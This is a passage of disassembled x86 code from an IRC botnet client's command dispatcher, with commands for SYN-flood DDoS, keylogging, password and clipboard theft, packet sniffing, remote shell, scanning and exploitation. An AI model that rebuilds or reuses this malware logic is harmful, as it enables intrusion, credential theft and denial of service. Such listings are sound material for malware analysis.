push offset aIrc_di ; "irc.di"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ED3
push edi
push offset aIrc_logout ; "irc.logout"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414E31
push edi
push offset aLo ; "lo"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414E31
push edi
push offset aIrc_version ; "irc.version"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414E22
push edi
push offset aVer ; "ver"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414E22
push edi
push offset aLockdown_on ; "lockdown.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414D0D
push edi
push offset aLd_on ; "ld.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414D0D
push edi
push offset aLockdown_off ; "lockdown.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414D0D
push edi
push offset aLd_off ; "ld.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414D0D
push edi
push offset aProxy_socks4_o ; "proxy.socks4.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BEB
push edi
push offset aProxy_s4_on ; "proxy.s4.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BEB
push edi
push offset aProxy_socks4_0 ; "proxy.socks4.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FEEF
push [ebp+esi+var_90]
push 11h
push offset aServer ; "Server"
push offset dword_438368
loc_40FED3: ; CODE XREF: sub_40EE72+10A1j
; sub_40EE72+10C7j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_416FEA
add esp, 20h
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40FEEF: ; CODE XREF: sub_40EE72+104Cj
push edi
push offset aDaemon_rlogin_ ; "daemon.rlogin.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF15
push [ebp+esi+var_90]
push 6
push offset aServer ; "Server"
push offset dword_438344
jmp short loc_40FED3
; ---------------------------------------------------------------------------
loc_40FF15: ; CODE XREF: sub_40EE72+108Cj
push edi
push offset dword_438334
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF3B
push [ebp+esi+var_90]
push 3
push offset aServer ; "Server"
push offset dword_438328
jmp short loc_40FED3
; ---------------------------------------------------------------------------
loc_40FF3B: ; CODE XREF: sub_40EE72+10B2j
push edi
push offset dword_438320
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF64
push [ebp+esi+var_90]
push 1Dh
push offset dword_438314
push offset dword_438308
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_40FF64: ; CODE XREF: sub_40EE72+10D8j
push edi
push offset aProxy_redirect ; "proxy.redirect.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF8D
push [ebp+esi+var_90]
push 10h
push offset dword_4382E4
push offset dword_4382D4
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_40FF8D: ; CODE XREF: sub_40EE72+1101j
push edi
push offset dword_4382C8
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FFB6
push [ebp+esi+var_90]
push 0Ah
push offset dword_4382BC
push offset dword_4382B0
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_40FFB6: ; CODE XREF: sub_40EE72+112Aj
push edi
push offset dword_4382A0
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FFDF
push [ebp+esi+var_90]
push 0Bh
push offset dword_438294
push offset dword_438288
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_40FFDF: ; CODE XREF: sub_40EE72+1153j
push edi
push offset dword_438278
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410008
push [ebp+esi+var_90]
push 0Fh
push offset dword_43826C
push offset dword_438260
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_410008: ; CODE XREF: sub_40EE72+117Cj
push edi
push offset dword_438250
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410031
push [ebp+esi+var_90]
push 0Eh
push offset dword_438244
push offset dword_438238
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_410031: ; CODE XREF: sub_40EE72+11A5j
push edi
push offset aDaemon_tftp_of ; "daemon.tftp.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41005A
push [ebp+esi+var_90]
push 4
loc_41004B: ; DATA XREF: ___:0042CC90o
; ___:0042CCA4o
push offset aServer ; "Server"
push offset dword_43821C
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_41005A: ; CODE XREF: sub_40EE72+11CEj
push edi
push offset aUtil_findfile_ ; "util.findfile.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BD3
push edi
push offset aUtil_ff_off ; "util.ff.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BD3
push edi
push offset aCom_procs_off ; "com.procs.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BBB
push edi
push offset aCom_ps_off ; "com.ps.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BBB
push edi
push offset aClone_off ; "clone.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4100D7
push [ebp+esi+var_90]
push 18h
push offset aClone ; "Clone"
push offset dword_4381BC
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_4100D7: ; CODE XREF: sub_40EE72+124Bj
push edi
push offset aLockdown_stop ; "lockdown.stop"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410100
push [ebp+esi+var_90]
push 1Ah
push offset aSecure_0 ; "Secure"
push offset dword_438194
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_410100: ; CODE XREF: sub_40EE72+1274j
push edi
push offset aRoot_stop ; "root.stop"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410129
push [ebp+esi+var_90]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_410129: ; CODE XREF: sub_40EE72+129Dj
push edi
push offset aRoot_stats ; "root.stats"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BA5
push edi
push offset aRoot_st ; "root.st"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414BA5
push edi
push offset aIrc_reconnect ; "irc.reconnect"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B84
push edi
push offset aIrc_r ; "irc.r"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B84
push edi
push offset aIrc_disconnect ; "irc.disconnect"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B62
push edi
push offset aIrc_d ; "irc.d"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B62
push edi
push offset aIrc_quit ; "irc.quit"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B1A
push edi
push offset aIrc_q ; "irc.q"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414B1A
push edi
push offset aIrc_status ; "irc.status"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ADB
push edi
push offset aIrc_s ; "irc.s"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ADB
push edi
push offset aIrc_id ; "irc.id"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ACF
push edi
push offset aIrc_i ; "irc.i"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ACF
push edi
push offset aCom_rebewt ; "com.rebewt"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410277
call sub_40AC20
test eax, eax
mov eax, offset dword_4380BC
jnz short loc_410249
mov eax, offset dword_438088
loc_410249: ; CODE XREF: sub_40EE72+13D0j
push eax
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 1Ch
jmp loc_40F822
; ---------------------------------------------------------------------------
loc_410277: ; CODE XREF: sub_40EE72+13C2j
push edi
push offset aThreads_list ; "threads.list"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4149DE
push edi
push offset aThreads_l ; "threads.l"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4149DE
push edi
push offset aIrc_aliases ; "irc.aliases"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4149BE
push edi
push offset aIrc_al ; "irc.al"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4149BE
push edi
push offset aIrc_log ; "irc.log"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4148CB
push edi
push offset aIrc_lg ; "irc.lg"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4148CB
push edi
push offset aUtil_clearlog ; "util.clearlog"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4148B2
push edi
push offset aUtil_clg ; "util.clg"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4148B2
push edi
push offset aCom_netinfo ; "com.netinfo"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414880
push edi
push offset aCom_ni ; "com.ni"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414880
push edi
push offset aDdos_supersyn ; "ddos.supersyn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410459
mov edi, [ebp+esi+var_90]
push 7Fh
lea eax, [ebp+var_76C]
push edi
push eax
call sub_418C10
mov eax, [ebp+esi+var_8C]
push 7Fh
mov [ebp+arg_18], eax
push eax
lea eax, [ebp+var_6EC]
push eax
call sub_418C10
mov esi, [ebp+esi+var_88]
push 7Fh
lea eax, [ebp+var_66C]
push esi
push eax
call sub_418C10
push 7Fh
lea eax, [ebp+var_5EC]
push [ebp+var_8C]
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 30h
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
push esi
mov [ebp+var_564], eax
mov eax, [ebp+arg_4]
push [ebp+arg_18]
mov [ebp+var_770], eax
lea eax, [ebp+var_2DC]
push edi
push offset unk_437FC8
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 14h
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_770]
push ebx
push eax
push offset sub_401831
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_410448
loc_410432: ; CODE XREF: sub_40EE72+15D4j
cmp [ebp+var_560], ebx
jnz loc_41460C
push 32h
call near ptr 25F0439h
nop
jmp short loc_410432
; ---------------------------------------------------------------------------
loc_410448: ; CODE XREF: sub_40EE72+15BEj
nop
call near ptr 2630313h
push eax
push offset unk_437F7C
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_410459: ; CODE XREF: sub_40EE72+14E6j
push edi
push offset aCom_sysinfo ; "com.sysinfo"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414852
push edi
push offset aCom_si ; "com.si"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414852
push edi
push offset aIrc_rem0ve ; "irc.rem0ve"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414818
push edi
push offset aIrc_rm0 ; "irc.rm0"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414818
push edi
push offset aCom_procs ; "com.procs"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41470F
push edi
push offset aCom_ps ; "com.ps"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41470F
push edi
push offset aCom_harvest ; "com.harvest"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4146F1
push edi
push offset aCom_key ; "com.key"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4146F1
push edi
push offset aCom_uptime ; "com.uptime"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41466C
push edi
push offset aCom_up ; "com.up"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41466C
push edi
push offset aCom_driveinfo ; "com.driveinfo"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41464F
push edi
push offset aCom_drv ; "com.drv"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41464F
push edi
push offset aCom_testdlls ; "com.testdlls"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414636
push edi
push offset aCom_dll ; "com.dll"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414636
push edi
push offset aCom_opencmd ; "com.opencmd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4145CA
push edi
push offset aCom_ocmd ; "com.ocmd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4145CA
push edi
push offset aCom_ocmd_off ; "com.ocmd.off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4105D2
push [ebp+esi+var_90]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_4105D2: ; CODE XREF: sub_40EE72+1746j
push edi
push offset aIrc_who ; "irc.who"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41065E
cmp [ebp+var_8], ebx
jnz short loc_410602
push ebx
push [ebp+var_4]
push offset aLoginList ; "-[Login List]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_410602: ; CODE XREF: sub_40EE72+1774j
mov edi, [ebp+arg_18]
xor esi, esi
loc_410607: ; CODE XREF: sub_40EE72+17DBj
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_410613
mov eax, offset aEmpty ; "<Empty>"
loc_410613: ; CODE XREF: sub_40EE72+179Aj
push eax
push esi
lea eax, [ebp+var_2DC]
push offset aD_S ; "%d. %s"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_410607
push offset dword_437E50
loc_410654: ; CODE XREF: sub_40EE72+5C58j
call sub_40BF6D
jmp loc_414F46
; ---------------------------------------------------------------------------
loc_41065E: ; CODE XREF: sub_40EE72+176Fj
push edi
push offset aCom_getclip ; "com.getclip"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414581
push edi
push offset aCom_gc ; "com.gc"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414581
push edi
push offset aUtil_flusharp ; "util.flusharp"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414556
push edi
push offset aUtil_farp ; "util.farp"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414556
push edi
push offset aUtil_flushdns ; "util.flushdns"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414532
push edi
push offset aUtil_fdns ; "util.fdns"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414532
push edi
push offset aRoot_currentip ; "root.currentip"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4144F5
push edi
push offset aRoot_cip ; "root.cip"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4144F5
push edi
push offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4143A4
push edi
push offset aDaemon_rl_on ; "daemon.rl.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4143A4
push edi
push offset aDaemon_httpd_o ; "daemon.httpd.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41422E
push edi
push offset aDaemon_web_on ; "daemon.web.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41422E
push edi
push offset aDaemon_tftp_on ; "daemon.tftp.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4140ED
push edi
push offset aDaemon_tf_on ; "daemon.tf.on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4140ED
push edi
push offset aCom_findpass ; "com.findpass"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414043
push edi
push offset aCom_fp ; "com.fp"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414043
push edi
push offset aScanall ; "scanall"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D44
push edi
push offset aSa ; "sa"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D44
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz loc_40F239
push [ebp+arg_8]
push offset aIrc_nick ; "irc.nick"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D28
push [ebp+arg_8]
push offset aIrc_n ; "irc.n"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D28
push [ebp+arg_8]
push offset aIrc_join ; "irc.join"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D05
push [ebp+arg_8]
push offset aIrc_j ; "irc.j"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413D05
push [ebp+arg_8]
push offset aIrc_part ; "irc.part"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413CE9
push [ebp+arg_8]
push offset aIrc_pt ; "irc.pt"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413CE9
push [ebp+arg_8]
push offset aIrc_raw ; "irc.raw"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413CAF
push [ebp+arg_8]
push offset aIrc_ra ; "irc.ra"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413CAF
push [ebp+arg_8]
push offset aThreads_kill ; "threads.kill"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413BDD
push [ebp+arg_8]
push offset aThreads_k ; "threads.k"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413BDD
push [ebp+arg_8]
push offset aClone_quit ; "clone.quit"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413B34
push [ebp+arg_8]
push offset aClone_q ; "clone.q"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413B34
push [ebp+arg_8]
push offset aClone_rndnick ; "clone.rndnick"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413AE6
push [ebp+arg_8]
push offset aClone_rn ; "clone.rn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413AE6
push [ebp+arg_8]
push offset aIrc_prefix ; "irc.prefix"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413AD1
push [ebp+arg_8]
push offset aIrc_pr ; "irc.pr"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413AD1
push [ebp+arg_8]
push offset aCom_open ; "com.open"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413AA7
push [ebp+arg_8]
push offset aCom_o ; "com.o"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413AA7
push [ebp+arg_8]
push offset aIrc_setserve ; "irc.setserve"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413A8E
push [ebp+arg_8]
push offset aIrc_se ; "irc.se"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413A8E
push [ebp+arg_8]
push offset aIrc_dns ; "irc.dns"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4139FC
push [ebp+arg_8]
push offset aIrc_dn ; "irc.dn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4139FC
push [ebp+arg_8]
push offset aCom_killprocna ; "com.killprocname"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4139D0
push [ebp+arg_8]
push offset aCom_kpn ; "com.kpn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4139D0
push [ebp+arg_8]
push offset aCom_prockillid ; "com.prockillid"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413975
push [ebp+arg_8]
push offset aCom_pkid ; "com.pkid"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413975
push [ebp+arg_8]
push offset aCom_delete ; "com.delete"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41393A
push [ebp+arg_8]
push offset aCom_del ; "com.del"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41393A
push [ebp+arg_8]
push offset aDcc_get ; "dcc.get"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413850
push [ebp+arg_8]
push offset aDcc_gt ; "dcc.gt"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413850
push [ebp+arg_8]
push offset aCom_filelist ; "com.filelist"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413832
push [ebp+arg_8]
push offset aCom_fl ; "com.fl"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413832
push [ebp+arg_8]
push offset aIrc_visit ; "irc.visit"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413751
push [ebp+arg_8]
push offset aIrc_v ; "irc.v"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413751
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413716
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413716
push [ebp+arg_8]
push offset aCom_cmd ; "com.cmd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4136CB
push [ebp+arg_8]
push offset aCom_cm ; "com.cm"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4136CB
push [ebp+arg_8]
push offset aCom_readfile ; "com.readfile"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413645
push [ebp+arg_8]
push offset aCom_rf ; "com.rf"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413645
push [ebp+arg_8]
push offset aSniff ; "sniff"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410CCC
push edi
push offset aOn ; "on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410C97
push 19h
call sub_416FA4
test eax, eax
pop ecx
jle short loc_410BC1
push offset unk_437B80
jmp loc_410D38
; ---------------------------------------------------------------------------
loc_410BC1: ; CODE XREF: sub_40EE72+1D43j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_4F0], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_464], eax
jnz short loc_410C03
mov esi, offset aF_1 ; "#f"
push offset byte_43C80C
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410C03
mov esi, [ebp+var_8C]
loc_410C03: ; CODE XREF: sub_40EE72+1D73j
; sub_40EE72+1D89j
push esi
lea eax, [ebp+var_4EC]
push 80h
push eax
call sub_41782A
add esp, 0Ch
lea eax, [ebp+var_2DC]
push offset unk_437B40
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 19h
push eax
call sub_416D5C
add esp, 14h
mov [ebp+var_46C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_402688
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_46C]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_410C86
loc_410C70: ; CODE XREF: sub_40EE72+1E12j
cmp [ebp+var_460], ebx
jnz loc_410E57
push 32h
call near ptr 25F0439h
nop
jmp short loc_410C70
; ---------------------------------------------------------------------------
loc_410C86: ; CODE XREF: sub_40EE72+1DFCj
nop
call near ptr 2630313h
push eax
push offset unk_437AF4
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_410C97: ; CODE XREF: sub_40EE72+1D33j
push edi
push offset aOff ; "off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410E57
push ebx
push 19h
call sub_416F57
pop ecx
cmp eax, ebx
pop ecx
jle short loc_410CC5
push eax
push offset unk_437AA8
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_410CC5: ; CODE XREF: sub_40EE72+1E46j
push offset unk_437A70
jmp short loc_410D38
; ---------------------------------------------------------------------------
loc_410CCC: ; CODE XREF: sub_40EE72+1D1Ej
push [ebp+arg_8]
push offset aCom_keylog ; "com.keylog"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410E81
push edi
push offset aOn ; "on"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_410D4B
push edi
push offset aFile ; "file"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_410D4B
push edi
push offset aOff ; "off"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_410E57
push ebx
push 1Bh
call sub_416F57
pop ecx
cmp eax, ebx
pop ecx
jle short loc_410D33
push eax
push offset unk_437A18
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_410D33: ; CODE XREF: sub_40EE72+1EB4j
push offset unk_4379DC
loc_410D38: ; CODE XREF: sub_40EE72+1D4Aj
; sub_40EE72+1E58j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
jmp loc_410E57
; ---------------------------------------------------------------------------
loc_410D4B: ; CODE XREF: sub_40EE72+1E80j
; sub_40EE72+1E91j
push 1Bh
call sub_416FA4
test eax, eax
pop ecx
jle short loc_410D5E
push offset unk_4379AC
jmp short loc_410D38
; ---------------------------------------------------------------------------
loc_410D5E: ; CODE XREF: sub_40EE72+1EE3j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_4F0], eax
mov eax, [ebp+var_4]
push offset aFile ; "file"
mov [ebp+var_468], eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410D8D
mov [ebp+var_464], 1
jmp short loc_410D96
; ---------------------------------------------------------------------------
loc_410D8D: ; CODE XREF: sub_40EE72+1F0Dj
mov eax, [ebp+var_8]
mov [ebp+var_464], eax
loc_410D96: ; CODE XREF: sub_40EE72+1F19j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_410DBD
mov esi, offset aF_0 ; "#f"
push offset byte_43C80C
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410DBD
mov esi, [ebp+var_8C]
loc_410DBD: ; CODE XREF: sub_40EE72+1F2Dj
; sub_40EE72+1F43j
push esi
lea eax, [ebp+var_4E8]
push 80h
push eax
call sub_41782A
add esp, 0Ch
lea eax, [ebp+var_2DC]
push offset unk_43797C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 1Bh
push eax
call sub_416D5C
add esp, 14h
mov [ebp+var_4EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_4023A7
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_4EC]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_410E3C
loc_410E2A: ; CODE XREF: sub_40EE72+1FC8j
cmp [ebp+var_460], ebx
jnz short loc_410E57
push 32h
nop
call near ptr 25F0439h
jmp short loc_410E2A
; ---------------------------------------------------------------------------
loc_410E3C: ; CODE XREF: sub_40EE72+1FB6j
nop
call near ptr 2630313h
push eax
push offset unk_437930
loc_410E48: ; CODE XREF: sub_40EE72+1E20j
; sub_40EE72+1E4Ej ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
loc_410E57: ; CODE XREF: sub_40EE72+1E04j
; sub_40EE72+1E34j ...
cmp [ebp+var_8], ebx
jnz loc_40F822
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
jmp loc_40F822
; ---------------------------------------------------------------------------
loc_410E81: ; CODE XREF: sub_40EE72+1E6Bj
push [ebp+arg_8]
push offset aCom_net ; "com.net"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_411114
cmp dword_43F738, ebx
jz short loc_410EB2
cmp dword_43F760, ebx
jz short loc_410EB2
push offset dword_4378E0
jmp loc_4110CE
; ---------------------------------------------------------------------------
loc_410EB2: ; CODE XREF: sub_40EE72+202Cj
; sub_40EE72+2034j
cmp [ebp+var_C], ebx
jz loc_4110DC
mov eax, [ebp+esi+var_8C]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_410EDA
push eax
push [ebp+var_C]
call sub_417880
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_410EDA: ; CODE XREF: sub_40EE72+2058j
push edi
push offset aStart ; "start"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410F26
cmp [ebp+arg_18], ebx
jz short loc_410EFA
push [ebp+arg_0]
push 3
jmp loc_410F84
; ---------------------------------------------------------------------------
loc_410EFA: ; CODE XREF: sub_40EE72+207Cj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D9B3
add esp, 0Ch
test eax, eax
jz short loc_410F1C
